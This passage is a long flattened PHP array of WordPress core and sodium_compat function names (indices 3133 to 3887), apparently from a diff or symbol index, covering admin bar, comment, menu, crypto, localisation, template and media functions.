3133 => '_wp_admin_bar_init', - 3134 => 'wp_admin_bar_render', - 3135 => 'wp_admin_bar_wp_menu', - 3136 => 'wp_admin_bar_sidebar_toggle', - 3137 => 'wp_admin_bar_my_account_item', - 3138 => 'wp_admin_bar_my_account_menu', - 3139 => 'wp_admin_bar_site_menu', - 3140 => 'wp_admin_bar_edit_site_menu', - 3141 => 'wp_admin_bar_customize_menu', - 3142 => 'wp_admin_bar_my_sites_menu', - 3143 => 'wp_admin_bar_shortlink_menu', - 3144 => 'wp_admin_bar_edit_menu', - 3145 => 'wp_admin_bar_command_palette_menu', - 3146 => 'wp_admin_bar_new_content_menu', - 3147 => 'wp_admin_bar_comments_menu', - 3148 => 'wp_admin_bar_appearance_menu', - 3149 => 'wp_admin_bar_updates_menu', - 3150 => 'wp_admin_bar_search_menu', - 3151 => 'wp_admin_bar_recovery_mode_menu', - 3152 => 'wp_admin_bar_add_secondary_groups', - 3153 => 'wp_enqueue_admin_bar_header_styles', - 3154 => 'wp_enqueue_admin_bar_bump_styles', - 3155 => 'show_admin_bar', - 3156 => 'is_admin_bar_showing', - 3157 => '_get_admin_bar_pref', - 3158 => 'wp_sitemaps_get_server', - 3159 => 'wp_get_sitemap_providers', - 3160 => 'wp_register_sitemap_provider', - 3161 => 'wp_sitemaps_get_max_urls', - 3162 => 'get_sitemap_url', - 3163 => 'get_default_block_categories', - 3164 => 'get_block_categories', - 3165 => 'get_allowed_block_types', - 3166 => 'get_default_block_editor_settings', - 3167 => 'get_legacy_widget_block_editor_settings', - 3168 => '_wp_get_iframed_editor_assets', - 3169 => 'wp_get_first_block', - 3170 => 'wp_get_post_content_block_attributes', - 3171 => 'get_block_editor_settings', - 3172 => 'block_editor_rest_api_preload', - 3173 => 'get_block_editor_theme_styles', - 3174 => 'get_classic_theme_supports_block_editor_settings', - 3175 => 'wp_initialize_site_preview_hooks', - 3176 => 'wp_nav_menu', - 3177 => '_wp_menu_item_classes_by_context', - 3178 => 'walk_nav_menu_tree', - 3179 => '_nav_menu_item_id_use_once', - 3180 => 'wp_nav_menu_remove_menu_item_has_children_class', - 3181 => 'check_comment', - 3182 => 'get_approved_comments', - 3183 => 'get_comment', - 3184 => 'get_comments', - 3185 => 'get_comment_statuses', - 3186 => 'get_default_comment_status', - 3187 => 'get_lastcommentmodified', - 3188 => 'get_comment_count', - 3189 => 'add_comment_meta', - 3190 => 'delete_comment_meta', - 3191 => 'get_comment_meta', - 3192 => 'wp_lazyload_comment_meta', - 3193 => 'update_comment_meta', - 3194 => 'wp_set_comment_cookies', - 3195 => 'sanitize_comment_cookies', - 3196 => 'wp_allow_comment', - 3197 => 'check_comment_flood_db', - 3198 => 'wp_check_comment_flood', - 3199 => 'separate_comments', - 3200 => 'get_comment_pages_count', - 3201 => 'get_page_of_comment', - 3202 => 'wp_get_comment_fields_max_lengths', - 3203 => 'wp_check_comment_data_max_lengths', - 3204 => 'wp_check_comment_data', - 3205 => 'wp_check_comment_disallowed_list', - 3206 => 'wp_count_comments', - 3207 => 'wp_delete_comment', - 3208 => 'wp_trash_comment', - 3209 => 'wp_untrash_comment', - 3210 => 'wp_spam_comment', - 3211 => 'wp_unspam_comment', - 3212 => 'wp_get_comment_status', - 3213 => 'wp_transition_comment_status', - 3214 => '_clear_modified_cache_on_transition_comment_status', - 3215 => 'wp_get_current_commenter', - 3216 => 'wp_get_unapproved_comment_author_email', - 3217 => 'wp_insert_comment', - 3218 => 'wp_filter_comment', - 3219 => 'wp_throttle_comment_flood', - 3220 => 'wp_new_comment', - 3221 => 'wp_new_comment_notify_moderator', - 3222 => 'wp_new_comment_notify_postauthor', - 3223 => 'wp_new_comment_via_rest_notify_postauthor', - 3224 => 'wp_set_comment_status', - 3225 => 'wp_update_comment', - 3226 => 'wp_defer_comment_counting', - 3227 => 'wp_update_comment_count', - 3228 => 'wp_update_comment_count_now', - 3229 => 'discover_pingback_server_uri', - 3230 => 'do_all_pings', - 3231 => 'do_all_pingbacks', - 3232 => 'do_all_enclosures', - 3233 => 'do_all_trackbacks', - 3234 => 'do_trackbacks', - 3235 => 'generic_ping', - 3236 => 'pingback', - 3237 => 'privacy_ping_filter', - 3238 => 'trackback', - 3239 => 'weblog_ping', - 3240 => 'pingback_ping_source_uri', - 3241 => 'xmlrpc_pingback_error', - 3242 => 'clean_comment_cache', - 3243 => 'update_comment_cache', - 3244 => '_prime_comment_caches', - 3245 => '_close_comments_for_old_posts', - 3246 => '_close_comments_for_old_post', - 3247 => 'wp_handle_comment_submission', - 3248 => 'wp_register_comment_personal_data_exporter', - 3249 => 'wp_comments_personal_data_exporter', - 3250 => 'wp_register_comment_personal_data_eraser', - 3251 => 'wp_comments_personal_data_eraser', - 3252 => 'wp_cache_set_comments_last_changed', - 3253 => '_wp_batch_update_comment_type', - 3254 => '_wp_check_for_scheduled_update_comment_type', - 3255 => 'wp_create_initial_comment_meta', - 3256 => 'wp_get_nav_menu_object', - 3257 => 'is_nav_menu', - 3258 => 'register_nav_menus', - 3259 => 'unregister_nav_menu', - 3260 => 'register_nav_menu', - 3261 => 'get_registered_nav_menus', - 3262 => 'get_nav_menu_locations', - 3263 => 'has_nav_menu', - 3264 => 'wp_get_nav_menu_name', - 3265 => 'is_nav_menu_item', - 3266 => 'wp_create_nav_menu', - 3267 => 'wp_delete_nav_menu', - 3268 => 'wp_update_nav_menu_object', - 3269 => 'wp_update_nav_menu_item', - 3270 => 'wp_get_nav_menus', - 3271 => '_is_valid_nav_menu_item', - 3272 => 'wp_get_nav_menu_items', - 3273 => 'update_menu_item_cache', - 3274 => 'wp_setup_nav_menu_item', - 3275 => 'wp_get_associated_nav_menu_items', - 3276 => '_wp_delete_post_menu_item', - 3277 => '_wp_delete_tax_menu_item', - 3278 => '_wp_auto_add_pages_to_menu', - 3279 => '_wp_delete_customize_changeset_dependent_auto_drafts', - 3280 => '_wp_menus_changed', - 3281 => 'wp_map_nav_menu_locations', - 3282 => '_wp_reset_invalid_menu_item_parent', - 3283 => 'wp_underscore_audio_template', - 3284 => 'wp_underscore_video_template', - 3285 => 'wp_print_media_templates', - 3286 => '_walk_bookmarks', - 3287 => 'wp_list_bookmarks', - 3288 => 'wp_enqueue_view_transitions_admin_css', - 3289 => 'wp_get_view_transitions_admin_css', - 3290 => 'sodiumCompatAutoloader', - 3291 => 'sodium_crypto_aead_aegis128l_decrypt', - 3292 => 'sodium_crypto_aead_aegis128l_encrypt', - 3293 => 'sodium_crypto_aead_aegis256_decrypt', - 3294 => 'sodium_crypto_aead_aegis256_encrypt', - 3295 => 'sodium_crypto_stream_xchacha20', - 3296 => 'sodium_crypto_stream_xchacha20_keygen', - 3297 => 'sodium_crypto_stream_xchacha20_xor', - 3298 => 'sodium_crypto_stream_xchacha20_xor_ic', - 3299 => 'sodium_add', - 3300 => 'sodium_base642bin', - 3301 => 'sodium_bin2base64', - 3302 => 'sodium_bin2hex', - 3303 => 'sodium_compare', - 3304 => 'sodium_crypto_aead_aes256gcm_decrypt', - 3305 => 'sodium_crypto_aead_aes256gcm_encrypt', - 3306 => 'sodium_crypto_aead_aes256gcm_is_available', - 3307 => 'sodium_crypto_aead_chacha20poly1305_decrypt', - 3308 => 'sodium_crypto_aead_chacha20poly1305_encrypt', - 3309 => 'sodium_crypto_aead_chacha20poly1305_keygen', - 3310 => 'sodium_crypto_aead_chacha20poly1305_ietf_decrypt', - 3311 => 'sodium_crypto_aead_chacha20poly1305_ietf_encrypt', - 3312 => 'sodium_crypto_aead_chacha20poly1305_ietf_keygen', - 3313 => 'sodium_crypto_aead_xchacha20poly1305_ietf_decrypt', - 3314 => 'sodium_crypto_aead_xchacha20poly1305_ietf_encrypt', - 3315 => 'sodium_crypto_aead_xchacha20poly1305_ietf_keygen', - 3316 => 'sodium_crypto_auth', - 3317 => 'sodium_crypto_auth_keygen', - 3318 => 'sodium_crypto_auth_verify', - 3319 => 'sodium_crypto_box', - 3320 => 'sodium_crypto_box_keypair', - 3321 => 'sodium_crypto_box_keypair_from_secretkey_and_publickey', - 3322 => 'sodium_crypto_box_open', - 3323 => 'sodium_crypto_box_publickey', - 3324 => 'sodium_crypto_box_publickey_from_secretkey', - 3325 => 'sodium_crypto_box_seal', - 3326 => 'sodium_crypto_box_seal_open', - 3327 => 'sodium_crypto_box_secretkey', - 3328 => 'sodium_crypto_box_seed_keypair', - 3329 => 'sodium_crypto_generichash', - 3330 => 'sodium_crypto_generichash_final', - 3331 => 'sodium_crypto_generichash_init', - 3332 => 'sodium_crypto_generichash_keygen', - 3333 => 'sodium_crypto_generichash_update', - 3334 => 'sodium_crypto_kdf_keygen', - 3335 => 'sodium_crypto_kdf_derive_from_key', - 3336 => 'sodium_crypto_kx', - 3337 => 'sodium_crypto_kx_seed_keypair', - 3338 => 'sodium_crypto_kx_keypair', - 3339 => 'sodium_crypto_kx_client_session_keys', - 3340 => 'sodium_crypto_kx_server_session_keys', - 3341 => 'sodium_crypto_kx_secretkey', - 3342 => 'sodium_crypto_kx_publickey', - 3343 => 'sodium_crypto_pwhash', - 3344 => 'sodium_crypto_pwhash_str', - 3345 => 'sodium_crypto_pwhash_str_needs_rehash', - 3346 => 'sodium_crypto_pwhash_str_verify', - 3347 => 'sodium_crypto_pwhash_scryptsalsa208sha256', - 3348 => 'sodium_crypto_pwhash_scryptsalsa208sha256_str', - 3349 => 'sodium_crypto_pwhash_scryptsalsa208sha256_str_verify', - 3350 => 'sodium_crypto_scalarmult', - 3351 => 'sodium_crypto_scalarmult_base', - 3352 => 'sodium_crypto_secretbox', - 3353 => 'sodium_crypto_secretbox_keygen', - 3354 => 'sodium_crypto_secretbox_open', - 3355 => 'sodium_crypto_secretstream_xchacha20poly1305_init_push', - 3356 => 'sodium_crypto_secretstream_xchacha20poly1305_push', - 3357 => 'sodium_crypto_secretstream_xchacha20poly1305_init_pull', - 3358 => 'sodium_crypto_secretstream_xchacha20poly1305_pull', - 3359 => 'sodium_crypto_secretstream_xchacha20poly1305_rekey', - 3360 => 'sodium_crypto_secretstream_xchacha20poly1305_keygen', - 3361 => 'sodium_crypto_shorthash', - 3362 => 'sodium_crypto_shorthash_keygen', - 3363 => 'sodium_crypto_sign', - 3364 => 'sodium_crypto_sign_detached', - 3365 => 'sodium_crypto_sign_keypair_from_secretkey_and_publickey', - 3366 => 'sodium_crypto_sign_keypair', - 3367 => 'sodium_crypto_sign_open', - 3368 => 'sodium_crypto_sign_publickey', - 3369 => 'sodium_crypto_sign_publickey_from_secretkey', - 3370 => 'sodium_crypto_sign_secretkey', - 3371 => 'sodium_crypto_sign_seed_keypair', - 3372 => 'sodium_crypto_sign_verify_detached', - 3373 => 'sodium_crypto_sign_ed25519_pk_to_curve25519', - 3374 => 'sodium_crypto_sign_ed25519_sk_to_curve25519', - 3375 => 'sodium_crypto_stream', - 3376 => 'sodium_crypto_stream_keygen', - 3377 => 'sodium_crypto_stream_xor', - 3378 => 'sodium_hex2bin', - 3379 => 'sodium_increment', - 3380 => 'sodium_library_version_major', - 3381 => 'sodium_library_version_minor', - 3382 => 'sodium_version_string', - 3383 => 'sodium_memcmp', - 3384 => 'sodium_memzero', - 3385 => 'sodium_pad', - 3386 => 'sodium_unpad', - 3387 => 'sodium_randombytes_buf', - 3388 => 'sodium_randombytes_uniform', - 3389 => 'sodium_randombytes_random16', - 3390 => 'sodium_crypto_core_ristretto255_add', - 3391 => 'sodium_crypto_core_ristretto255_from_hash', - 3392 => 'sodium_crypto_core_ristretto255_is_valid_point', - 3393 => 'sodium_crypto_core_ristretto255_random', - 3394 => 'sodium_crypto_core_ristretto255_scalar_add', - 3395 => 'sodium_crypto_core_ristretto255_scalar_complement', - 3396 => 'sodium_crypto_core_ristretto255_scalar_invert', - 3397 => 'sodium_crypto_core_ristretto255_scalar_mul', - 3398 => 'sodium_crypto_core_ristretto255_scalar_negate', - 3399 => 'sodium_crypto_core_ristretto255_scalar_random', - 3400 => 'sodium_crypto_core_ristretto255_scalar_reduce', - 3401 => 'sodium_crypto_core_ristretto255_scalar_sub', - 3402 => 'sodium_crypto_core_ristretto255_sub', - 3403 => 'sodium_crypto_scalarmult_ristretto255', - 3404 => 'sodium_crypto_scalarmult_ristretto255_base', - 3405 => 'wp_set_unique_slug_on_create_template_part', - 3406 => 'wp_filter_wp_template_unique_post_slug', - 3407 => 'wp_enqueue_block_template_skip_link', - 3408 => 'wp_enable_block_templates', - 3409 => 'get_block_theme_folders', - 3410 => 'get_allowed_block_template_part_areas', - 3411 => 'get_default_block_template_types', - 3412 => '_filter_block_template_part_area', - 3413 => '_get_block_templates_paths', - 3414 => '_get_block_template_file', - 3415 => '_get_block_templates_files', - 3416 => '_add_block_template_info', - 3417 => '_add_block_template_part_area_info', - 3418 => '_flatten_blocks', - 3419 => '_inject_theme_attribute_in_template_part_block', - 3420 => '_remove_theme_attribute_from_template_part_block', - 3421 => '_build_block_template_result_from_file', - 3422 => '_wp_build_title_and_description_for_single_post_type_block_template', - 3423 => '_wp_build_title_and_description_for_taxonomy_block_template', - 3424 => '_build_block_template_object_from_post_object', - 3425 => '_build_block_template_result_from_post', - 3426 => 'get_block_templates', - 3427 => 'get_block_template', - 3428 => 'get_block_file_template', - 3429 => 'block_template_part', - 3430 => 'block_header_area', - 3431 => 'block_footer_area', - 3432 => 'wp_is_theme_directory_ignored', - 3433 => 'wp_generate_block_templates_export_file', - 3434 => 'get_template_hierarchy', - 3435 => 'inject_ignored_hooked_blocks_metadata_attributes', - 3436 => 'wp_set_current_user', - 3437 => 'wp_get_current_user', - 3438 => 'get_userdata', - 3439 => 'get_user_by', - 3440 => 'cache_users', - 3441 => 'wp_mail', - 3442 => 'wp_authenticate', - 3443 => 'wp_logout', - 3444 => 'wp_validate_auth_cookie', - 3445 => 'wp_generate_auth_cookie', - 3446 => 'wp_parse_auth_cookie', - 3447 => 'wp_set_auth_cookie', - 3448 => 'wp_clear_auth_cookie', - 3449 => 'is_user_logged_in', - 3450 => 'auth_redirect', - 3451 => 'check_admin_referer', - 3452 => 'check_ajax_referer', - 3453 => 'wp_redirect', - 3454 => 'wp_sanitize_redirect', - 3455 => '_wp_sanitize_utf8_in_redirect', - 3456 => 'wp_safe_redirect', - 3457 => 'wp_validate_redirect', - 3458 => 'wp_notify_postauthor', - 3459 => 'wp_notify_moderator', - 3460 => 'wp_password_change_notification', - 3461 => 'wp_new_user_notification', - 3462 => 'wp_nonce_tick', - 3463 => 'wp_verify_nonce', - 3464 => 'wp_create_nonce', - 3465 => 'wp_salt', - 3466 => 'wp_hash', - 3467 => 'wp_hash_password', - 3468 => 'wp_check_password', - 3469 => 'wp_password_needs_rehash', - 3470 => 'wp_generate_password', - 3471 => 'wp_rand', - 3472 => 'wp_set_password', - 3473 => 'get_avatar', - 3474 => 'wp_text_diff', - 3475 => 'wp_initial_constants', - 3476 => 'wp_plugin_directory_constants', - 3477 => 'wp_cookie_constants', - 3478 => 'wp_ssl_constants', - 3479 => 'wp_functionality_constants', - 3480 => 'wp_templating_constants', - 3481 => 'get_query_var', - 3482 => 'get_queried_object', - 3483 => 'get_queried_object_id', - 3484 => 'set_query_var', - 3485 => 'query_posts', - 3486 => 'wp_reset_query', - 3487 => 'wp_reset_postdata', - 3488 => 'is_archive', - 3489 => 'is_post_type_archive', - 3490 => 'is_attachment', - 3491 => 'is_author', - 3492 => 'is_category', - 3493 => 'is_tag', - 3494 => 'is_tax', - 3495 => 'is_date', - 3496 => 'is_day', - 3497 => 'is_feed', - 3498 => 'is_comment_feed', - 3499 => 'is_front_page', - 3500 => 'is_home', - 3501 => 'is_privacy_policy', - 3502 => 'is_month', - 3503 => 'is_page', - 3504 => 'is_paged', - 3505 => 'is_preview', - 3506 => 'is_robots', - 3507 => 'is_favicon', - 3508 => 'is_search', - 3509 => 'is_single', - 3510 => 'is_singular', - 3511 => 'is_time', - 3512 => 'is_trackback', - 3513 => 'is_year', - 3514 => 'is_404', - 3515 => 'is_embed', - 3516 => 'is_main_query', - 3517 => 'have_posts', - 3518 => 'in_the_loop', - 3519 => 'rewind_posts', - 3520 => 'the_post', - 3521 => 'have_comments', - 3522 => 'the_comment', - 3523 => 'wp_old_slug_redirect', - 3524 => '_find_post_by_old_slug', - 3525 => '_find_post_by_old_date', - 3526 => 'setup_postdata', - 3527 => 'generate_postdata', - 3528 => 'wp_register_page_routes', - 3529 => 'wp_register_options_connectors_page_routes', - 3530 => 'wp_register_options_connectors_wp_admin_page_routes', - 3531 => 'wp_register_font_library_page_routes', - 3532 => 'wp_register_font_library_wp_admin_page_routes', - 3533 => 'wp_register_font_library_route', - 3534 => 'wp_register_font_library_menu_item', - 3535 => 'wp_get_font_library_routes', - 3536 => 'wp_get_font_library_menu_items', - 3537 => 'wp_font_library_preload_data', - 3538 => 'wp_font_library_render_page', - 3539 => 'wp_font_library_intercept_render', - 3540 => 'wp_register_font_library_wp_admin_route', - 3541 => 'wp_register_font_library_wp_admin_menu_item', - 3542 => 'wp_get_font_library_wp_admin_routes', - 3543 => 'wp_get_font_library_wp_admin_menu_items', - 3544 => 'wp_font_library_wp_admin_preload_data', - 3545 => 'wp_font_library_wp_admin_enqueue_scripts', - 3546 => 'wp_font_library_wp_admin_render_page', - 3547 => 'wp_register_options_connectors_route', - 3548 => 'wp_register_options_connectors_menu_item', - 3549 => 'wp_get_options_connectors_routes', - 3550 => 'wp_get_options_connectors_menu_items', - 3551 => 'wp_options_connectors_preload_data', - 3552 => 'wp_options_connectors_render_page', - 3553 => 'wp_options_connectors_intercept_render', - 3554 => 'wp_register_options_connectors_wp_admin_route', - 3555 => 'wp_register_options_connectors_wp_admin_menu_item', - 3556 => 'wp_get_options_connectors_wp_admin_routes', - 3557 => 'wp_get_options_connectors_wp_admin_menu_items', - 3558 => 'wp_options_connectors_wp_admin_preload_data', - 3559 => 'wp_options_connectors_wp_admin_enqueue_scripts', - 3560 => 'wp_options_connectors_wp_admin_render_page', - 3561 => '_', - 3562 => '_wp_can_use_pcre_u', - 3563 => '_is_utf8_charset', - 3564 => 'mb_substr', - 3565 => '_mb_substr', - 3566 => 'mb_strlen', - 3567 => '_mb_strlen', - 3568 => 'utf8_encode', - 3569 => 'utf8_decode', - 3570 => 'array_is_list', - 3571 => 'str_contains', - 3572 => 'str_starts_with', - 3573 => 'str_ends_with', - 3574 => 'array_find', - 3575 => 'array_find_key', - 3576 => 'array_any', - 3577 => 'array_all', - 3578 => 'array_first', - 3579 => 'array_last', - 3580 => 'set_current_user', - 3581 => 'get_currentuserinfo', - 3582 => 'get_userdatabylogin', - 3583 => 'get_user_by_email', - 3584 => 'wp_setcookie', - 3585 => 'wp_clearcookie', - 3586 => 'wp_get_cookie_login', - 3587 => 'wp_login', - 3588 => 'get_locale', - 3589 => 'get_user_locale', - 3590 => 'determine_locale', - 3591 => 'translate', - 3592 => 'before_last_bar', - 3593 => 'translate_with_gettext_context', - 3595 => 'esc_attr__', - 3596 => 'esc_html__', - 3597 => '_e', - 3598 => 'esc_attr_e', - 3599 => 'esc_html_e', - 3601 => '_ex', - 3602 => 'esc_attr_x', - 3603 => 'esc_html_x', - 3604 => '_n', - 3605 => '_nx', - 3606 => '_n_noop', - 3607 => '_nx_noop', - 3608 => 'translate_nooped_plural', - 3609 => 'load_textdomain', - 3610 => 'unload_textdomain', - 3611 => 'load_default_textdomain', - 3612 => 'load_plugin_textdomain', - 3613 => 'load_muplugin_textdomain', - 3614 => 'load_theme_textdomain', - 3615 => 'load_child_theme_textdomain', - 3616 => 'load_script_textdomain', - 3617 => 'load_script_module_textdomain', - 3618 => '_load_script_textdomain_from_src', - 3619 => 'load_script_translations', - 3620 => '_load_textdomain_just_in_time', - 3621 => 'get_translations_for_domain', - 3622 => 'is_textdomain_loaded', - 3623 => 'translate_user_role', - 3624 => 'get_available_languages', - 3625 => 'wp_get_installed_translations', - 3626 => 'wp_get_pomo_file_data', - 3627 => 'wp_get_l10n_php_file_data', - 3628 => 'wp_dropdown_languages', - 3629 => 'is_rtl', - 3630 => 'switch_to_locale', - 3631 => 'switch_to_user_locale', - 3632 => 'restore_previous_locale', - 3633 => 'restore_current_locale', - 3634 => 'is_locale_switched', - 3635 => 'translate_settings_using_i18n_schema', - 3636 => 'wp_get_list_item_separator', - 3637 => 'wp_get_word_count_type', - 3638 => 'has_translation', - 3639 => 'get_query_template', - 3640 => 'get_index_template', - 3641 => 'get_404_template', - 3642 => 'get_archive_template', - 3643 => 'get_post_type_archive_template', - 3644 => 'get_author_template', - 3645 => 'get_category_template', - 3646 => 'get_tag_template', - 3647 => 'get_taxonomy_template', - 3648 => 'get_date_template', - 3649 => 'get_home_template', - 3650 => 'get_front_page_template', - 3651 => 'get_privacy_policy_template', - 3652 => 'get_page_template', - 3653 => 'get_search_template', - 3654 => 'get_single_template', - 3655 => 'get_embed_template', - 3656 => 'get_singular_template', - 3657 => 'get_attachment_template', - 3658 => 'wp_set_template_globals', - 3659 => 'locate_template', - 3660 => 'load_template', - 3661 => 'wp_should_output_buffer_template_for_enhancement', - 3662 => 'wp_start_template_enhancement_output_buffer', - 3663 => 'wp_finalize_template_enhancement_output_buffer', - 3664 => 'readonly', - 3665 => 'wp_get_additional_image_sizes', - 3666 => 'image_constrain_size_for_editor', - 3667 => 'image_hwstring', - 3668 => 'image_downsize', - 3669 => 'add_image_size', - 3670 => 'has_image_size', - 3671 => 'remove_image_size', - 3672 => 'set_post_thumbnail_size', - 3673 => 'get_image_tag', - 3674 => 'wp_constrain_dimensions', - 3675 => 'image_resize_dimensions', - 3676 => 'image_make_intermediate_size', - 3677 => 'wp_image_matches_ratio', - 3678 => 'image_get_intermediate_size', - 3679 => 'get_intermediate_image_sizes', - 3680 => 'wp_get_registered_image_subsizes', - 3681 => 'wp_get_attachment_image_src', - 3682 => 'wp_get_attachment_image', - 3683 => 'wp_get_attachment_image_url', - 3684 => '_wp_get_attachment_relative_path', - 3685 => '_wp_get_image_size_from_meta', - 3686 => 'wp_get_attachment_image_srcset', - 3687 => 'wp_calculate_image_srcset', - 3688 => 'wp_get_attachment_image_sizes', - 3689 => 'wp_calculate_image_sizes', - 3690 => 'wp_image_file_matches_image_meta', - 3691 => 'wp_image_src_get_dimensions', - 3692 => 'wp_image_add_srcset_and_sizes', - 3693 => 'wp_lazy_loading_enabled', - 3694 => 'wp_filter_content_tags', - 3695 => 'wp_img_tag_add_auto_sizes', - 3696 => 'wp_sizes_attribute_includes_valid_auto', - 3697 => 'wp_enqueue_img_auto_sizes_contain_css_fix', - 3698 => 'wp_img_tag_add_loading_optimization_attrs', - 3699 => 'wp_img_tag_add_width_and_height_attr', - 3700 => 'wp_img_tag_add_srcset_and_sizes_attr', - 3701 => 'wp_iframe_tag_add_loading_attr', - 3702 => '_wp_post_thumbnail_class_filter', - 3703 => '_wp_post_thumbnail_class_filter_add', - 3704 => '_wp_post_thumbnail_class_filter_remove', - 3705 => '_wp_post_thumbnail_context_filter', - 3706 => '_wp_post_thumbnail_context_filter_add', - 3707 => '_wp_post_thumbnail_context_filter_remove', - 3708 => 'img_caption_shortcode', - 3709 => 'gallery_shortcode', - 3710 => 'wp_underscore_playlist_templates', - 3711 => 'wp_playlist_scripts', - 3712 => 'wp_playlist_shortcode', - 3713 => 'wp_mediaelement_fallback', - 3714 => 'wp_get_audio_extensions', - 3715 => 'wp_get_attachment_id3_keys', - 3716 => 'wp_audio_shortcode', - 3717 => 'wp_get_video_extensions', - 3718 => 'wp_video_shortcode', - 3719 => 'get_previous_image_link', - 3720 => 'previous_image_link', - 3721 => 'get_next_image_link', - 3722 => 'next_image_link', - 3723 => 'get_adjacent_image_link', - 3724 => 'adjacent_image_link', - 3725 => 'get_attachment_taxonomies', - 3726 => 'get_taxonomies_for_attachments', - 3727 => 'is_gd_image', - 3728 => 'wp_imagecreatetruecolor', - 3729 => 'wp_expand_dimensions', - 3730 => 'wp_max_upload_size', - 3731 => 'wp_get_image_editor', - 3732 => 'wp_image_editor_supports', - 3733 => '_wp_image_editor_choose', - 3734 => 'wp_plupload_default_settings', - 3735 => 'wp_prepare_attachment_for_js', - 3736 => 'wp_enqueue_media', - 3737 => 'get_attached_media', - 3738 => 'get_media_embedded_in_content', - 3739 => 'get_post_galleries', - 3740 => 'get_post_gallery', - 3741 => 'get_post_galleries_images', - 3742 => 'get_post_gallery_images', - 3743 => 'wp_maybe_generate_attachment_metadata', - 3744 => 'attachment_url_to_postid', - 3745 => 'wpview_media_sandbox_styles', - 3746 => 'wp_register_media_personal_data_exporter', - 3747 => 'wp_media_personal_data_exporter', - 3748 => '_wp_add_additional_image_sizes', - 3749 => 'wp_show_heic_upload_error', - 3750 => 'wp_getimagesize', - 3751 => 'wp_get_avif_info', - 3752 => 'wp_get_webp_info', - 3753 => 'wp_get_loading_optimization_attributes', - 3754 => 'wp_omit_loading_attr_threshold', - 3755 => 'wp_increase_content_media_count', - 3756 => 'wp_maybe_add_fetchpriority_high_attr', - 3757 => 'wp_high_priority_element_flag', - 3758 => 'wp_get_image_editor_output_format', - 3759 => 'wp_supports_ai', - 3760 => 'wp_ai_client_prompt', - 3761 => 'stripos', - 3762 => 'register_block_pattern', - 3763 => 'unregister_block_pattern', - 3764 => 'register_block_pattern_category', - 3765 => 'unregister_block_pattern_category', - 3766 => '_register_core_block_patterns_and_categories', - 3767 => 'wp_normalize_remote_block_pattern', - 3768 => '_load_remote_block_patterns', - 3769 => '_load_remote_featured_patterns', - 3770 => '_register_remote_theme_patterns', - 3771 => '_register_theme_block_patterns', - 3772 => 'wp_styles', - 3773 => 'wp_print_styles', - 3774 => 'wp_add_inline_style', - 3775 => 'wp_register_style', - 3776 => 'wp_deregister_style', - 3777 => 'wp_enqueue_style', - 3778 => 'wp_dequeue_style', - 3779 => 'wp_style_is', - 3780 => 'wp_style_add_data', - 3781 => 'wp_register_tinymce_scripts', - 3782 => 'wp_default_packages_vendor', - 3783 => 'wp_register_development_scripts', - 3784 => 'wp_get_script_polyfill', - 3785 => 'wp_default_packages_scripts', - 3786 => 'wp_default_packages_inline_scripts', - 3787 => 'wp_tinymce_inline_scripts', - 3788 => 'wp_default_packages', - 3789 => 'wp_scripts_get_suffix', - 3790 => 'wp_default_scripts', - 3791 => 'wp_default_styles', - 3792 => 'wp_prototype_before_jquery', - 3793 => 'wp_just_in_time_script_localization', - 3794 => 'wp_localize_jquery_ui_datepicker', - 3795 => 'wp_localize_community_events', - 3796 => 'wp_style_loader_src', - 3797 => 'print_head_scripts', - 3798 => 'print_footer_scripts', - 3799 => '_print_scripts', - 3800 => 'wp_print_head_scripts', - 3801 => '_wp_footer_scripts', - 3802 => 'wp_print_footer_scripts', - 3803 => 'wp_enqueue_scripts', - 3804 => 'print_admin_styles', - 3805 => 'print_late_styles', - 3806 => '_print_styles', - 3807 => 'script_concat_settings', - 3808 => 'wp_common_block_scripts_and_styles', - 3809 => 'wp_filter_out_block_nodes', - 3810 => 'wp_enqueue_global_styles', - 3811 => 'wp_should_load_block_editor_scripts_and_styles', - 3812 => 'wp_should_load_separate_core_block_assets', - 3813 => 'wp_should_load_block_assets_on_demand', - 3814 => 'wp_enqueue_registered_block_scripts_and_styles', - 3815 => 'enqueue_block_styles_assets', - 3816 => 'enqueue_editor_block_styles_assets', - 3817 => 'wp_enqueue_editor_block_directory_assets', - 3818 => 'wp_enqueue_editor_format_library_assets', - 3819 => 'wp_get_script_tag', - 3820 => 'wp_print_script_tag', - 3821 => 'wp_get_inline_script_tag', - 3822 => 'wp_print_inline_script_tag', - 3823 => 'wp_maybe_inline_styles', - 3824 => '_wp_normalize_relative_css_links', - 3825 => 'wp_enqueue_global_styles_css_custom_properties', - 3826 => 'wp_enqueue_block_support_styles', - 3827 => 'wp_enqueue_stored_styles', - 3828 => 'wp_enqueue_block_style', - 3829 => 'wp_enqueue_classic_theme_styles', - 3830 => 'wp_enqueue_command_palette_assets', - 3831 => 'wp_remove_surrounding_empty_script_tags', - 3832 => 'wp_load_classic_theme_block_styles_on_demand', - 3833 => 'wp_hoist_late_printed_styles', - 3834 => 'wp_js_dataset_name', - 3835 => 'wp_html_custom_data_attribute_name', - 3836 => 'wp_interactivity', - 3837 => 'wp_interactivity_process_directives', - 3838 => 'wp_interactivity_state', - 3839 => 'wp_interactivity_config', - 3840 => 'wp_interactivity_data_wp_context', - 3841 => 'wp_interactivity_get_context', - 3842 => 'wp_interactivity_get_element', - 3843 => 'wp_should_replace_insecure_home_url', - 3844 => 'wp_replace_insecure_home_url', - 3845 => 'wp_update_urls_to_https', - 3846 => 'wp_update_https_migration_required', - 3847 => 'get_header', - 3848 => 'get_footer', - 3849 => 'get_sidebar', - 3850 => 'get_template_part', - 3851 => 'get_search_form', - 3852 => 'wp_loginout', - 3853 => 'wp_logout_url', - 3854 => 'wp_login_url', - 3855 => 'wp_registration_url', - 3856 => 'wp_login_form', - 3857 => 'wp_lostpassword_url', - 3858 => 'wp_register', - 3859 => 'wp_meta', - 3860 => 'bloginfo', - 3862 => 'get_site_icon_url', - 3863 => 'site_icon_url', - 3864 => 'has_site_icon', - 3865 => 'has_custom_logo', - 3866 => 'get_custom_logo', - 3867 => 'the_custom_logo', - 3868 => 'wp_get_document_title', - 3869 => '_wp_render_title_tag', - 3870 => 'wp_title', - 3871 => 'single_post_title', - 3872 => 'post_type_archive_title', - 3873 => 'single_cat_title', - 3874 => 'single_tag_title', - 3875 => 'single_term_title', - 3876 => 'single_month_title', - 3877 => 'the_archive_title', - 3878 => 'get_the_archive_title', - 3879 => 'the_archive_description', - 3880 => 'get_the_archive_description', - 3881 => 'get_the_post_type_description', - 3882 => 'get_archives_link', - 3883 => 'wp_get_archives', - 3884 => 'calendar_week_mod', - 3885 => 'get_calendar', - 3886 => 'delete_get_calendar_cache', - 3887 => 